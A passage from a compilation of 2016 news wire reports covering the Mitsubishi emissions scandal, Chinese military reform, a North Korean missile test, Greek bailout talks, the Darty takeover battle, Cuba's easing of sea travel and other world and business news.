The industry is also facing an ongoing massive recall of air bag inflators made by Japan's Takata Corp, which have been linked to 11 deaths and more than 100 injuries, mainly in the United States.

Emissions cheating scandals have also erupted. Volkswagen AG announced a sweeping U.S. deal on Thursday to buy back or potentially fix about a half million cars and set up environmental and consumer compensation funds after it used software to conceal the level of toxic emissions.

This week alone, PSA Peugeot Citroen was raided by France's anti-fraud investigators as part of ongoing probes on pollutants in the industry. Peugeot says its vehicles are compliant. Daimler AG also said it opened an internal emissions probe at the request of the U.S. Justice Department.

Japan's Transport Ministry has ordered Mitsubishi to submit a full report on its test data within a week, and for other domestic automakers to submit fuel economy test data by May 18.

Mitsubishi, which sells over 1 million cars annually, has said it expects to post operating income of 125 billion yen ($1.1 billion) for the year just ended. It reports earnings next Wednesday.
China's Xi takes up new military title as part of reforms process

BEIJING, April 22 (Reuters) - Chinese President Xi Jinping has been appointed commander-in-chief of a new joint command headquarters for China's military, state media said, part of an on-going reform programme to modernise the world's largest armed forces.

Xi already oversees the People's Liberation Army in his role as head of the powerful Central Military Commission, and has now been appointed commander-in-chief of the commission's Joint Command Headquarters, state media said this week.

Xi announced the setting up of the new headquarters in November, a move previously flagged by the military which is meant to help coordination between different parts of the defence system.

China has been moving rapidly to upgrade its military hardware, but operational integration of complex and disparate systems across a regionalised command structure is a major challenge.

In the past, regional level military commanders have enjoyed latitude over their forces and branches of the military have remained highly independent, making it difficult to exercise the centralised control necessary to use new weapons systems effectively in concert.

Xi told officers at the headquarters they must have a clear sense of crisis and focus their skills, state media said.

"We will take special measures to train professionals for joint operations ... and speed up the development and deployment of advanced technologies," Xi, dressed in camouflaged military uniform, said.

The headquarters needs also to streamline operational procedures and share experiences with regional joint commands, Xi added.

Xi's push to reform the military coincides with China becoming more assertive in its territorial disputes in the East and South China Seas, and as its navy invests in submarines and aircraft carriers and its air force develops stealth fighters.

The reforms include rejigging existing military regions, as well as cutting troop numbers by 300,000, a surprise announcement he made last September.

The troop cuts and broader reforms have proven controversial and the military's newspaper has published a series of commentaries warning of opposition to the reforms and concern about job losses.
China tells Taiwan it will try telecoms fraud suspects

BEIJING, April 22 (Reuters) - China will try the 45 Taiwan suspects in a telecoms fraud case who were deported by Kenya to China this month, the Chinese government told a delegation from Taiwan, state media reported, in a case that has angered the self-ruled island.

China is battling an explosion of telecoms fraud that has cost billions of dollars in financial losses and driven some victims to suicide, say authorities in Beijing, who blame the scams on criminal gangs based in rival Taiwan.

Kenya does not have official relations with democratic Taiwan and considers it part of "one China", in line with the position of Communist Party leaders in Beijing, who regard Taiwan as a wayward province.

Kenya said it deported the group back to where it came from. Taiwan accused China of effectively kidnapping its citizens, while China said it was simply going after criminals.

An official of China's Ministry of Public Security repeated that statement to the Taiwan delegation, state news agency Xinhua said late on Thursday.

"The suspects specifically targeted people on the Chinese mainland and their victims are from the mainland. Not to mention that many of the suspects are themselves from the mainland," said the official, Chen Shiqu.

"They will thus be investigated, prosecuted and tried in accordance with mainland law," he added.

All the Taiwan suspects have already admitted their guilt, Chen said.

"Mainland police will spare no efforts in dealing with telecom fraud syndicates, and we expect authorities in Taiwan will do the same and offer support to the mainland in returning their illicit gains," he added.

Taiwan's Ministry of Justice, in a statement late on Thursday, said the delegation had visited the suspects in a Beijing detention centre and they seemed in good health, with two of already having appointed lawyers.

It added that the two sides had agreed to establish principles to fight crime together to ensure criminals were brought to justice and victims protected.

Details, such as when the Taiwan suspects would be able to return to the island, would be worked out in negotiations, the justice ministry said.

Over the weekend, China slammed Taiwan for freeing 20 Taiwan suspects deported to the island from Malaysia, in a separate telecoms fraud case linked to China.
PRESS DIGEST - Bulgaria - April 22

SOFIA, April 22 (Reuters) - These are some of the main stories in Bulgarian newspapers on Friday. Reuters has not verified these stories and does not vouch for their accuracy.

-- Deputies made voting in Bulgaria mandatory, and decided that referendums cannot be held together with general, local or presidential elections. The vote sparked concerns about limiting the rights of the citizens. (Duma, 24 Chasa, Capital Daily, Trud, Sega, Standart, Tegegraph)

-- The planned blockade on the border with Greece by Bulgarian truck drivers over Orthodox Easter holidays is more likely to hit Bulgarian business and tourists, tour operators said. (24 Chasa, Duma, Sega, Trud)
Poland - Factors to Watch April 22

Following are news stories, press reports and events to watch that may affect Poland's financial markets on Friday. ALL TIMES GMT (Poland: GMT + 2 hours):

EBRD

It is high time for an east European to run the European Bank for Reconstruction and Development (EBRD) after its 25 years of work in the ex-Soviet bloc, Polish central bank head and former prime minister Marek Belka said on Thursday.

AUDIOVISUAL CHARGE

Poland will introduce obligatory TV charge of 15 zlotys ($3.92) a month. Every owner of a flat will have to pay it as it will be included in a monthly gas bill, Rzeczpospolita daily said, quoting assumptions to the audiovisual fee draft bill.

EU FUNDS

Poland will receive 86 billion euros ($97.15 billion) in European Union's coherence funds in 2014-2020, said regional policy commissioner Corina Cretu in an interview with Rzeczpospolita daily.

NELT GROUP

Serbian trade firm Nelt Group with sales of almost 1 billion euros per year is considering listing in Warsaw, Parkiet daily said.

****Reuters has not verified these stories and does not vouch for their accuracy.****
Romania - Factors to watch on April 22

BUCHAREST, April 22 (Reuters) - Here are news stories, press reports and events to watch which may affect Romanian financial markets on Friday.

DEBT TENDER

Romania sold a planned 600 million lei ($151.50 million) worth of April 2019 treasury bonds on Thursday, with the average accepted yield at 1.85 percent, central bank data showed.

CEE MARKETS

Central Europe's main currencies and government bonds eased on Thursday as crude prices rose and the European Central Bank (ECB) did not ease policy further at its meeting.

OMV

Austria's OMV, the owner of Romanian oil and gas group Petrom said its first quarter oil and gas production stood at 312,000 boe/d.

RUSSIA

An armored U.S. military brigade permanently stationed in Europe would be more effective at deterring Russian aggression in the region than the current rotational presence, the Army general nominated to lead U.S. forces in Europe said on Thursday.

No talks on lifting Western sanctions against Russia should take place until Moscow completely withdraws its military presence from Ukraine, President Petro Poroshenko said on Thursday.

For the long-term Romanian diary, click on

For emerging markets economic events, click on

For an index of all diaries, click on
Czech O2 and China Telecom sign data roaming agreement

PRAGUE, April 22 (Reuters) - O2 Czech Republic has signed a memorandum with China Telecom Europe on cooperation in data services roaming and other strategic areas, the Czech telecoms company said on Friday.

The agreement will also cover data centre services and public sector IT development projects, O2 and China Telecom said in a joint statement.

Charlie Cao, director of China Telecom Europe, said in the statement the companies would look for further areas for cooperation, as well as offering products in other countries.

O2 Czech Republic has a similar deal with Telefonica , which was its former majority owner until the Spanish company sold its stake in 2014 to Czech investment group PPF, owned by the country's richest businessman Petr Kellner.
National Oilwell Varco lays off another 520 staff in Norway

OSLO, April 22 (Reuters) - U.S. oilfield equipment maker and service provider National Oilwell Varco Inc will cut its Norwegian workforce by another 520 people after low oil prices resulted in fewer orders, the company said in a statement on Friday.

The latest round of cuts will reduce the company's staff in Norway to less than 2,000, down from almost 5,000 at the height of the oil industry's boom two years ago.

"The uncertain market situation means that we cannot say how extensive the downsizing process will be in the long run," NOV said.
Rooney may have to settle for a place on bench in France

April 22 (Reuters) - Manager Roy Hodgson has assured captain Wayne Rooney of a place in the 23-man England squad for the Euro 2016 in France, but has refused to guarantee the Manchester United forward a starting berth for the June-July tournament.

With a wealth of attacking options at his disposal, including leading Premier League scorers Harry Kane (24 goals) and Jamie Vardy (22 goals), Hodgson said England's record scorer Rooney may be dropped from the starting line-up.

"Of course, with the competition that's coming for the places where he plays, I do understand there's questions about, well, should he be the one playing or should another? That's another matter altogether," Hodgson told British media.

"He merits a place among the 23. I don't see any reason (to omit him) if Rooney is 100 percent and playing matches.

"In a squad of 23, something would have to happen much more than people doubting his form before I said, 'I'm going to ditch Wayne Rooney now after two years of captaining the team, 20-odd games where he's been an important part of this group.'"

Hodgson also played down the chances of emerging Manchester United striker Marcus Rashford of making the cut for France, as the manager feels the tournament has come too soon for the 18-year-old.

Rashford has scored seven goals in 13 games since bursting through with a double strike on his debut against Midtjylland in the Europa League in February.

"As far as the first national team is concerned, it would be a very bold decision to put him in. It would mean possibly leaving someone behind who at the moment, in my opinion, has more reason to be called up," the 68-year-old said.
China could build nuclear plants for S.China Sea, paper says

By Ben Blanchard

BEIJING, April 22 (Reuters) - China is getting closer to building maritime nuclear power platforms that could one day be used to support projects in the disputed South China Sea, a state-run newspaper said on Friday, but the foreign ministry said it had not heard of the plans.

China has rattled nerves with its military and construction activities on the islands it occupies in the South China Sea, including building runways, though Beijing says most of the construction is meant for civilian purposes, like lighthouses.

The Global Times, an influential tabloid published by the ruling Communist Party's official People's Daily, said the nuclear power platforms could "sail" to remote areas and provide a stable power supply.

China Shipbuilding Industry Corp, the company in charge of designing and building the platforms, is "pushing forward the work", said Liu Zhengguo, the head of its general office.

"The development of nuclear power platforms is a burgeoning trend," Liu told the paper. "The exact number of plants to be built by the company depends on the market demand."

Demand is "pretty strong", he added, without elaborating.

Chinese Foreign Ministry spokeswoman Hua Chunying played down the story as a media report, however.

"I've not heard here of the relevant situation," Hua told a daily news briefing, without elaborating.

In January, two Chinese state-owned energy companies, China National Offshore Oil Corporation (CNOOC) and China General Nuclear Power Corporation (CGN), signed a strategic cooperation framework pact on offshore oil and nuclear power.

CGN has been developing a small modular nuclear reactor for maritime use, called the ACPR50S, to provide power for offshore oil and gas exploration and production. It expects to begin building a demonstration project in 2017.

Xu Dazhe, head of China's atomic safety commission, told reporters in January the floating platforms were in the planning stage and must undergo "strict and scientific demonstrations".

Chinese naval expert Li Jie told the Global Times the platforms could power lighthouses, defence facilities, airports and harbours in the South China Sea. "Normally we have to burn oil or coal for power," Li said.

It was important to develop a maritime nuclear power platform as changing weather and ocean conditions presented a challenge in transporting fuel to the distant Spratlys, he added.
North Korea has tested a submarine-launched ballistic missile in the Sea of Japan today, it was reported.

A spokesman for the South Korean defence ministry said: 'North Korea launched a projectile which was believed to be a submarine-launched ballistic missile around 6:30 pm (0930 GMT) in the East Sea (Sea of Japan) near the northeastern port of Sinpo.

'We are keeping close tabs on the North Korean military and maintaining a full defence posture.'

North Korea has tested a submarine-launched ballistic missile in the Sea of Japan today, it was reported. North Korean leader Kim Jong Un (centre) is animated as he guides a test fire of a new multiple launch rocket system

The nation's supreme leader is seen giving his verdict to uniform clad flunkies at the Paektusan Hero Youth Power Station No. 3 in Ryanggang Province

South Korea's Yonhap news agency said the missile flew 'for a few minutes'.

North Korea has conducted a number of what it says were successful SLBM tests but experts question the claim, suggesting Pyongyang had gone little further than a 'pop-up' test from a submerged platform.

The test-firing comes as North Korea prepares for a rare ruling party congress early next month, at which leader Kim Jong-Un is expected to take credit for expanding the country's nuclear weapons programme.

North Korea has conducted a number of what it says were successful SLBM tests but experts question the claim

The test-firing comes as North Korea prepares for a rare ruling party congress early next month, at which leader Kim Jong-Un is expected to take credit for expanding the country's nuclear weapons programme

The state today released photographs of leader Kim Jong Un surrounded by flunkies at the testing of a new multiple launch rocket system.

Wearing a long black duffel coat, Trilby hat and glasses, the country's supreme leader was cheered on by military figures on site at at the Paektusan Hero Youth Power Station No. 3 in Ryanggang Province.

It was also reported that China sent 2,000 troops to the North Korea border before the test.

The Hong Kong-based Information Centre for Human Rights and Democracy said earlier this week that China had sent the troops to the border but China's Defence Ministry has denied this.

'The relevant report does not accord with the facts,' a spokesman for the Defence Ministry said.

South Korea's Yonhap news agency said the missile flew 'for a few minutes'. North Korean troops (File photo)

'The Chinese military maintains normal combat readiness and training on the China-North Korea border.'

Reports periodically surface about unusual troops movements on the border, which are hard to verify independently and generally quickly denied by the Chinese government.

China is North Korea's most important economic and diplomatic backer but has been angered by North Korea's nuclear and missile tests and has agreed to tough UN sanctions.

Tension has been high on the divided Korean peninsula since Pyongyang's fourth nuclear test in January and rocket launch a month later that was widely seen as a disguised ballistic missile test.

The UN Security Council responded by imposing its strongest sanctions to date over the North's nuclear weapons programme.

China sent 2,000 troops to the North Korea border before the test, it has been reported. Chinese soldiers sit on armoured personnel carriers (File photo)

Pyongyang has responded by staging a series of short- and mid-range missile tests and claiming a series of significant technical breakthroughs in its nuclear strike capability.

It claimed it had miniaturised a nuclear warhead to fit on a missile and successfully tested an engine designed for an inter-continental ballistic missile that could reach the US mainland.

While some experts say the claims are exaggerated, most acknowledge that the North's nuclear and ballistic missile programmes have made significant strides.

North Korea and the rich, democratic South are still technically at war after the 1950-53 conflict ended in an armistice, not a treaty.

China and North Korea fought side-by-side against a U.S.-backed South Korea, which joined forces under the U.N. flag.

The North routinely threatens to destroy South Korea and the United States.
Lenders ask Greece to prepare contingency package of extra reforms

By Jan Strupczewski and Francesco Guarascio

AMSTERDAM, April 22 (Reuters) - International lenders asked Greece on Friday to prepare a package of additional savings measures which would be passed into law now but implemented only if needed, to make sure the country reaches agreed fiscal targets.

Once agreed, the set of contingent reforms, together with measures already under negotiation, would enable the disbursement of new loans to Athens and pave the way for debt relief.

The idea of a contingency package appears to end a long dispute between the euro zone and the International Monetary Fund over whether Greece's current reforms are enough.

"We came to the conclusion that the policy package should include a contingent package of additional measures that would be implemented only if necessary to reach the primary surplus target for 2018," the chairman of euro zone finance ministers Jeroen Dijsselbloem told a news conference in Amsterdam after the ministers met.

The contingency measures needed to be "credible, legislated up-front, automatic and based on objective factors."

Greek Finance Minister Euclid Tsakalotos said Athens could not legislate "contingent measures" as Greek law did not allow it.

But Dijsselbloem said a way would be found.

"We need to work on how that mechanism is going to look like. Of course if there are legal constraints we can't and won't break legal constraints. We will design it in a way that delivers credibility ...and (is) legally possible," Dijsselbloem told a news conference.

The contingency package is to produce savings of 2 percent of GDP, on top of savings of 3 percent that are to come from reforms under negotiation now, Dijsselbloem said.

The amount is the difference between euro zone and IMF forecasts of what primary surplus Greece is likely to achieve in 2018.

The current reforms include a pension and income tax reform, the setting up of a privatisation fund and a scheme to deal with bad loans. The content of the contingency set is not decided yet.

Agreement on both reform packages -- the regular and the contingent one -- would mean euro zone ministers would meet again on Thursday to approve the deal and have a "serious discussion" on debt relief for Greece.

The prospect of debt talks may encourage Athens to back the new package, and lenders reminded their Greek counterparts that there are time constraints.

"The liquidity situation is becoming tight, there are debt service payments ... there is a risk that the government may have to accumulate domestic arrears again," the head of the euro zone bailout fund Klaus Regling said.

DEBT RELIEF

Talks on how to design debt relief will now start in parallel with the discussions on the reforms, Dijsselbloem said.

The IMF is insisting on debt relief from euro zone governments because it does not believe Greece can maintain a targeted primary surplus of 3.5 percent for decades and debt reprofiling is the only way to make it sustainable. Greek debt stood at 177 percent of GDP last year.

Germany and several other countries believe that with proper reforms Greece can keep such a surplus for decades and point to the fact that the country does not need to service its debt for the next seven years.

The Fund says this is unrealistic, and therefore the euro zone must grant the country debt relief.

Wary of German sensibility on the debt relief issue, Lagarde appeared to offer a compromise on Friday.

"The debt sustainability analysis (DSA) ...will guide us towards a mechanism that will not require any haircut, but will probably require a reprofiling of the debt using multiple mechanisms," Lagarde said.

"But this would be triggered when needed, that is upon the completion of all measures that are being discussed at the moment and based on realistic forecasts."

German Finance Minister Wolfgang Schaeuble said debt relief talks were not a priority. "What is in the foreground is what has been agreed last year must be implemented," he said, referring to fiscal targets set last August.

Outlining his stance on debt relief, Dijsselbloem said: "It might be necessary because we want the involvement of the IMF. Another way is to say it is necessary ...maybe in eight years or in 15 years."
South Africa's Steinhoff raises Darty stake to 20.4 percent

By Tiisetso Motsoeneng

JOHANNESBURG, April 22 (Reuters) - Steinhoff has increased its stake in Darty to 20.4 percent, it said on Friday, a day after a frantic bidding war with French rival Fnac for Europe's third-largest electric goods retailer.

Five new offers in less than 24 hours lifted Darty shares by more than 23 percent on Thursday to their highest since the end of 2010 and left South African furniture retailer Steinhoff in front with a cash offer of 160 pence a share, valuing Darty at 860 million pounds ($1.2 billion).

Fnac said on Friday that it is considering its position after Steinhoff's latest offer and urged Darty shareholders to take no action.

The Fnac announcement came shortly after Steinhoff, a 20 billion euro ($22.6 billion) company listed in both Johannesburg and Frankfurt, said it had acquired an additional 4.8 million shares in London-listed Darty at 160 pence each.

Shares in Darty were trading at 162.75 pence at 1014 GMT, off an earlier high of 165.50 pence but still suggesting that some investors expect a little more to come from the company's suitors.

Darty earns 70 percent of its revenue in France but has 400 stores across Europe and competes with Media-Saturn, owned by Germany's Metro, and Britain's Dixons.

The company has become a target for different reasons, among which are Fnac's desire to reduce its reliance on sales in areas such as books and CDs.

For Steinhoff, the deal would help it to bulk up in Europe, where it already makes more than two thirds of its 9.8 billion euros ($11 billion) of annual sales, as its domestic market deteriorates.

Steinhoff's European brands include Conforama in France, Bensons for Beds and Harvey's in Britain, as well as Abra in Poland. ($1 = 0.8867 euros)
German engineers would be happy with flat 2016 sales

By Tom Kackenhoff and Georgina Prodhan

DUESSELDORF, Germany, April 22 (Reuters) - Germany's mechanical engineers would be happy with flat sales this year as political and economic uncertainty from Britain and Russia to North Africa and Brazil delays investment decisions, the president of the VDMA industry association told Reuters.

The VDMA's more than 3,000 members are a lynchpin of Germany's export-led economy, generating 218 billion euros ($246 billion) of sales last year and employing more than a million people.

"I would be happy if we would have zero growth, both at home and abroad," Reinhold Festge said in an interview. "Business in Germany isn't bad, but little Germany by itself can't save us any more."

Three quarters of German mechanical engineering sales are made abroad, with the United States overtaking China as the most important export market last year.

Festge said turmoil in Libya and Syria, an economic crisis in Russia, political upheaval in Brazil and the threat of a British exit from the European Union were all causing customers to hold off spending.

"We find ourselves in a situation of great uncertainty," he said.

The United States accounts for around 11 percent of German engineering exports, China 10 percent, Russia 3 percent and Britain 5 percent.

Festge said he hoped German industry would impress on Barack Obama the importance of making progress with transatlantic trade pact TTIP when the U.S. president visits the Hannover Fair industry showcase next week.

TTIP, which has met popular resistance in both the United States and Europe due to fears it will put local jobs at risk or compromise standards for food and goods, is no longer considered likely to be passed into law during Obama's presidency.

"We hope it will give Obama a tailwind at least to get the key points agreed during his tenure," Festge said.

He said the VDMA estimated it cost 5-18 percent more to sell the same product in the United States than in Germany, due to different specifications and certification requirements that could even vary from state to state.

Alongside TTIP, a resumption of normal business in Iran could also give German engineers a boost, Festge said.

"If Iran would come back, that would surely unleash a wave of confidence again," he said. "For that reason there's a glimmer of hope that things could get better."

Germany was one of Iran's top trading partners before Western sanctions were imposed over Tehran's nuclear programme.

Festge said, however, that Germany was being slow to claw back former business since the lifting of sanctions, partly because it was not willing to give export guarantees until Iran paid back old debts - giving other countries an opportunity to step in.

"Italy and France are a bit more flexible," he said. "The Germans aren't quite getting into gear. The Iranians are a bit disappointed with the Germans."
Bulgaria anti-monopoly watchdog raids more oil firms in fuel inquiry

SOFIA, April 22 (Reuters) - Bulgaria's anti-monopoly watchdog said it had raided the offices of Eco Petroleum, part of Hellenic Petroleum, and Shell Bulgaria, owned by Royal Dutch Shell, as part of an investigation into possible cartel agreements.

The inquiry follows complaints by Bulgarians over high fuel costs despite a plunge in global oil prices and a call by Prime Minister Boiko Borisov for the competition authority to hasten checks on the fuel sector.

"Employees of the Commission for Protection of Competition are carrying out surprise checks on site at the offices of Eco Bulgaria and Shell Bulgaria," the commission said in a statement on Friday.

Shell and Eco Petroleum were not available for comment but the Bulgarian Petrol and Gas Association, of which all of the companies being investigated are members, has said there were no cartel agreements between any of its members.

The latest raids follow others earlier this month on the Bulgarian offices of Russia's Lukoil and Romania's Rompetrol.

In February, the watchdog began investigating the four companies, as well as the offices of OMV, Nis Petrol, controlled by Russia's Gazprom Neft and Bulgarian Petrol over possible price fixing.
Cuba lifts sea ban for citizens, clears way for historic Carnival voyage

By Marc Frank

HAVANA, April 22 (Reuters) - Cuba said on Friday it would lift a ban on Cuban-born citizens entering and leaving the Caribbean island by commercial vessels, opening the way for U.S. cruise operator Carnival Corp to set sail for the country from Miami next week.

The decision is a sign that steps to normalize relations between the two countries continue despite anti-U.S. rhetoric from Cuba's leaders seeking to reassure hardliners following U.S. President Barack Obama's historic visit to the island.

Carnival's May 1 cruise, the first from the United States to the Communist-run country since the 1959 revolution, was thrown into doubt when the company triggered a backlash in Miami by refusing Cuban-Americans passage due to a Cold War-era law.

A statement carried by state-run media said starting April 26, Cuban citizens would be authorized "independently of their migratory status to enter and leave as passengers and crews of cruise ships."

"We are extremely pleased. We want to extend our sincere appreciation to Cuba and to our team who worked so hard to help make this happen," Carnival Chief Executive Arnold Donald said in a statement.

The new rules follow measures four years ago to make it easier for Cubans to travel, perhaps the biggest political reform in the Communist-run country prior to the detente announced by President Raul Castro and Obama in 2014.

Obama has made it easier for U.S. citizens to travel to Cuba, but has not totally lifted restrictions.

"These measures contrast with the prohibition on U.S. citizens freely traveling to Cuba," the Cuban statement said.

The announcement follows a Communist Party congress earlier this week, where Castro warned Cubans to be alert to U.S. attempts to weaken their socialist system but also vowed to improve living standards.

"One thing is revolutionary rhetoric to reassure the Party faithful, another thing is business," said Richard Feinberg, a Cuba expert and former national security advisor to U.S. President Bill Clinton.

"For the U.S., the goal is to re-integrate Cuba into the global economy. For the Cuban government, the goal is to raise living standards of the population - and retain political power."

The looser rules will also make it possible for Cubans to work for cruise and cargo lines, opening new possible careers after years of restrictions on setting foot on boats without special permission.

In other measure aimed at easing hardship, the government lowered food prices in state-run stores from Friday.

FISHING, YACHTS

The waters between the two countries have been the scene of mass migration, hijacking and invasion attempts in the past, leading Cuba to ban boat travel without a permit.

Restrictions on traveling by air were lifted years ago, triggering a surge in visits by Cuban-Americans to their families, bringing with them money and goods.

Still, Cuban-Americans require a permit from Cuba to visit the island.

"There remains much to do in normalizing the interconnection with the Cuban diaspora," said Carlos Saladrigas, a Cuban American businessman who supports detente.

The Cuban statement on Friday said authorities were also reviewing a ban on citizens from boarding recreational vessels such as fishing boats and yachts.

Carnival received U.S. approval last year to sail, and the green light from Havana a day after Obama's visit in March.

Protests in Miami, where the company is based, a discrimination suit and criticism by Secretary of State John Kerry led Carnival to start accepting bookings from Cuban-Americans earlier this month.
Red Cross workers freed after being held prisoner in Mali

DAKAR, April 22 (Reuters) - Three Red Cross workers have been freed unharmed after being held prisoner for several days in northern Mali, the humanitarian organisation said on Friday.

"The best news we could get: our three colleagues in Mali are free, safe and sound," Peter Maurer, president of the International Committee of the Red Cross (ICRC), said on Twitter.

The ICRC lost contact with four of its staff on Saturday as they were driving back to their base in the town of Kidal.

One of the four was found on Sunday and said the team had been accosted by a man on a motorcycle who demanded they follow him.

"They were detained by a community in northern Mali before being released this morning," said Valery Mbaoh Nana, the ICRC's spokesman in Mali's capital Bamako.

He said he could give no further details for security reasons.

The Kidal region is home to a number of armed groups.

Islamist militants are still active in the area despite a 2013 French-led military intervention to drive them from the desert north. Among them are fighters linked to al Qaeda who have mounted deadly attacks in Mali and neighbouring states in the past year.

The incident involving the ICRC workers came a day after the group's local guide was arrested by French soldiers from a regional anti-militant operation, the ICRC spokesman said.

Media reports had linked the workers' disappearance to the Islamist militant group Ansar Dine, claiming the group had demanded the guide's release in exchange for freeing the ICRC staff.

But Nana said the ICRC did not believe the four workers' detention had been linked to the arrest and denied the organisation had struck a deal for their release.
No chance of NATO expansion for years, U.S. ambassador says

LONDON, April 22 (Reuters) - There is no chance of NATO expansion in the near future because of fears it could destabilise Russia, the U.S. ambassador to the military alliance said on Friday, a prospect which could disappoint Georgia and a number of Balkan states.

Douglas Lute said NATO was at an "an inflection point", facing an upheaval matched only by circumstances at the end of the Cold War, and the alliance did not want to exacerbate internal weaknesses in Russia.

"In practical terms I don't there's much additional room in the near term, the next several years perhaps or maybe even longer, for additional NATO expansion," Lute told the Aspen Security Forum in London.

"I think Russia plays an important part in the strategic environment and the strategic environment will put a brake on NATO expansion.

"If you accept the premises ... about Russia's internal weakness and perhaps steady decline, it may not make sense to push further now and maybe accelerate or destabilise that decline."

Last December, NATO invited Montenegro to join in its first expansion since 2009, a move which provoked anger from Moscow which opposes any extension to former communist areas of eastern and southeastern Europe.

NATO gave Georgia an open-ended promise of membership at a summit in April 2008 and other Balkan states such as Macedonia and Bosnia and Herzegovina are keen on membership while Ukraine, which has battled Russian-backed separatists in its east since 2014, has also set its sights on joining.

Lute said the policy line for additional members remained open but all NATO's 28 allies had to agree on inviting new members and there was little likelihood of that.
Brussels bomber Laachraoui was hostage gaoler in Syria - lawyer

PARIS, April 22 (Reuters) - Brussels airport bomber Najim Laachraoui was one of the men who held four French journalists captive for months in Syria, the lawyer of two of the former hostages told Reuters on Friday.

Najim Laachraoui, a 25 year-old Belgian, was one of the two bombers who blew themselves up at Brussels' airport on March 22, investigators have said. Thirty-two people were killed in the attacks on the airport and a metro station.

"I can confirm that he was the jailer of my clients," Marie-Laure Ingouf, a lawyer for two French journalists freed in April 2014 after spending 10 months as hostages in Syria, told Reuters.

An engineering sciences student who dropped out of university, Laachraoui is believed to have had the technical training that could mean he was the armourer of the operation.

Le Parisien daily on Friday quoted intelligence sources as saying Laachraoui was in charge of interrogating the hostages and was less brutal to them than Mehdi Nemmouche, a Frenchman who in May 2014 killed four people in an attack on Brussels' Jewish Museum.
Merkel's Turkey visit aims to soothe tensions on EU migrant deal

By Tulay Karadeniz and Noah Barkin

ANKARA/BERLIN, April 22 (Reuters) - German Chancellor Angela Merkel will use a visit to Turkey this weekend to try to soothe tensions over a deal meant to stem the flow of migrants to Europe, as questions about its effectiveness and long-term viability mount.

The pact, which came into force almost three weeks ago, aims to help end the chaotic arrival of migrants and refugees on the Greek islands, many fleeing war and poverty in the Middle East and Africa. More than a million reached Europe last year.

The deal initially slowed the numbers of new arrivals to Greece sharply, but boats have been coming again with around 150 people a day after a hiatus, indicating the "hermetic sealing" of the route appears to be over, the International Organization for Migration (IOM) said on Friday.

Merkel will pay a one-day visit with European Council President Donald Tusk to Gaziantep near the Syrian border on Saturday, where the two leaders are expected to go to a refugee camp for Syrians and meet Prime Minister Ahmet Davutoglu.

There is much at stake for both sides. Merkel lobbied sceptical European partners to back the deal, under which Turkey agreed to take back migrants who cross the Aegean Sea illegally, and is under political pressure at home to show progress.

Davutoglu sold the deal to the Turkish public partly on the basis that Turks would win quicker visa-free travel to Europe in return, a pledge that now could go unfulfilled, at least by the June deadline he had wanted.

Merkel's visit also comes as she faces criticism at home for allowing a German comedian to be prosecuted for insulting Turkish President Tayyip Erdogan.

"It is both sides that have a strong interest in making this work. Turkey wants support in easing the refugee burden - both financial support and in terms of numbers. And they want visa liberalisation. We have other interests," a Merkel aide said.

"Ultimately it will depend on both sides fulfilling the criteria they need to. If that doesn't happen the deal won't work. Whether it's sustainable is not clear yet."

Under the agreement, Ankara gets more EU funding for refugees living on its soil and the revival of long-stalled EU accession talks, as well as the quicker visa liberalisation, the main prize in the eyes of many Turks.

But European Commission President Jean-Claude Juncker said this week that Turkey must meet all 72 conditions for visa-free travel and the EU would not water down its criteria, rebuffing a warning from Davutoglu that Turkey would no longer need to honor the deal if the promises were not met.

"Merkel is coming tomorrow to soothe both sides," said Elif Ozmenek, a migration expert at the Ankara-based USAK think tank.

"There have been harsh statements from the EU, and on the other side Davutoglu has threatened to cancel deals. Merkel's trip is a 'let's continue the friendship' kind of visit."

COMEDIAN

But it is a rocky friendship.

Erdogan put Merkel in a difficult position by demanding that Germany press charges against a comedian who recited a sexually crude satirical poem about the Turkish leader on a German public broadcaster last month.

Merkel's decision to let prosecutors pursue a case against Jan Boehmermann for mocking Erdogan angered many Germans, who saw it as a sop to an authoritarian leader.

"As much as Davutoglu is trying to make this work, Erdogan seems to be going out of his way to test the limits of what he can get away with," a senior German official said.

"He is showing that he can do anything he wants, testing our reactions. That will be very difficult to handle. You can see that in Merkel's handling of Boehmermann. This will be with us for the next weeks and months."

Rights groups and some European politicians had already accused the EU of compromising its principles by striking the deal with Turkey at a time when its record on freedom of expression appears to be deteriorating.

"Europe must set clear limits to its concessions ... Our freedoms, including freedom of expression, will not be part of political bargaining with any partner. This message must be heard also by President Erdogan," Tusk wrote in an op-ed published in several European newspapers on Friday.

A senior Turkish government official said the Boehmermann case was likely to be discussed during Merkel's visit, but that the main focus would be on relations with the EU and implementing the migrant deal, including how a promised 3 billion euros ($3.4 billion) in funding would be spent.

"There is an important acceleration in the relationship between Turkey and the EU, and we know that Merkel is taking a serious initiative in this," the official said.

"We may not be able to say there is total agreement on everything between Turkey and the EU, but it is clear that there is common will ... We're not expecting a troublesome visit."
Warplane crashes near Damascus, causes unclear - Syrian Observatory for Human Rights

BEIRUT, April 22 (Reuters) - A warplane in Syria crashed southeast of Damascus on Friday, and it was not clear if it had been brought down by insurgent gunfire or suffered a technical fault, the Syrian Observatory for Human Rights monitoring group said.

The plane crashed southeast of Damascus airport, the British-based monitoring group said, after flying over territory controlled by Islamic State. The fate of the pilot was not known.
Mozambique comes clean on $1.35 bln of debt - IMF source

JOHANNESBURG, April 22 (Reuters) - Mozambique has given the IMF an "avalanche of documents" and owned up to as much as $1.35 billion of undeclared sovereign borrowing that may have tipped it into an unsustainable debt trap, a Fund source said on Friday.

The borrowing is in addition to an $850 million 'tuna bond' issued in 2013 that had to be restructured last month because the war-scarred southeast African nation was struggling to meet repayments.

The International Monetary Fund (IMF) said last week it had got wind of more than $1 billion of undisclosed borrowing, although Finance Minister Adriano Maleiane dismissed the allegations and put it down to "some confusion".

Prime Minister Carlos Agostinho do Rosario then led a delegation to the United States to see IMF Managing Director Christine Lagarde and explain the borrowing and patch up tattered relations with the international lender.

"We're confident that we're not going to find anything else," the IMF source told Reuters, adding that Rosario's visit had gone some way to mending relations. "But we can't just go back to where we were. That takes time."

Mozambique's debt situation was now "very close to unsustainability," the source added.

Proindicus, a state firm owned by the Ministries of Interior and Defence and the State Security and Intelligence Service, had been lent $504 million by Credit Suisse and $118 million by Russia's VTB, the source said.

According to a February 2013 Credit Suisse document obtained by Reuters, the money was to be spent on high-speed naval interceptors, radar stations, off-shore patrol vessels and aircraft. Credit Suisse has declined to comment on the document.

Another loan of $535 million went to Mozambique Asset Management, another state company set up to build a shipyard in the northern city of Pemba, the source said. Pemba is near vast off-shore natural gas fields being explored by Anadarko and Eni.

